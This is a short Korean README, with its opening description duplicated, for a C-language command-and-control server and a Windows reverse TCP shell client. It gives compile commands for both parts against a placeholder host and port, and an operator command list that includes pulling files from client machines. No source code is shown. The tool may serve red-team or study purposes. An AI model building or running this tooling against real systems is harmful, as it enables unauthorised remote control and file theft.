
멀티스레드, 멀티 OS/플랫폼 (Linux/Windows) C2 서버와 Windows 리버스 TCP 셸 클라이언트, 모두 C로 작성됨.
멀티 스레드, 멀티 OS/플랫폼 (Linux/Windows) C2 서버 및 Windows 역방향 TCP 셸 클라이언트, 모두 C로 작성되었습니다.
i686-w64-mingw32-gcc로 역방향 TCP 셸 클라이언트 컴파일:
i686-w64-mingw32-gcc sakito_revshell.c lib/windows/sakito_win_core.c -o sakito_revshell.exe -s -ffunction-sections -fdata-sections -fno-exceptions -fmerge-all-constants -static-libgcc -lws2_32 -D PORT=<port_number> -D HOST=\"<server_ipv4_address>\"
Developer 명령 프롬프트 내에서 cl.exe로 역방향 TCP 셸 컴파일:
cl.exe sakito_revshell.c lib/windows/sakito_win_core.c /D PORT=<port_number> /D HOST=\"<server_ipv4_address>\"
GCC로 Linux 서버 컴파일:
gcc -pthread sakito_server.c lib/sakito_server_tools.c lib/linux/sakito_slin_utils.c -o sakito_server -D PORT=<port_number>
Developer 명령 프롬프트 내에서 cl.exe로 Windows 서버 컴파일:
cl.exe sakito_server.c lib/windows/sakito_win_core.c lib/sakito_server_tools.c lib/windows/sakito_swin_utils.c /D PORT=<port_number>
명령 목록:
list: 사용 가능한 연결 목록 표시.
interact [id]: 클라이언트와 상호 작용.
download [filename]: 클라이언트 파일 시스템에서 서버 파일 시스템으로 파일 다운로드.
upload [filename]: 서버 파일 시스템에서 클라이언트 파일 시스템으로 파일 업로드.
background: 클라이언트 백그라운드 전환.
exit: 클라이언트 또는 호스트 종료.
cd [dir]: 클라이언트 또는 호스트의 디렉토리 변경.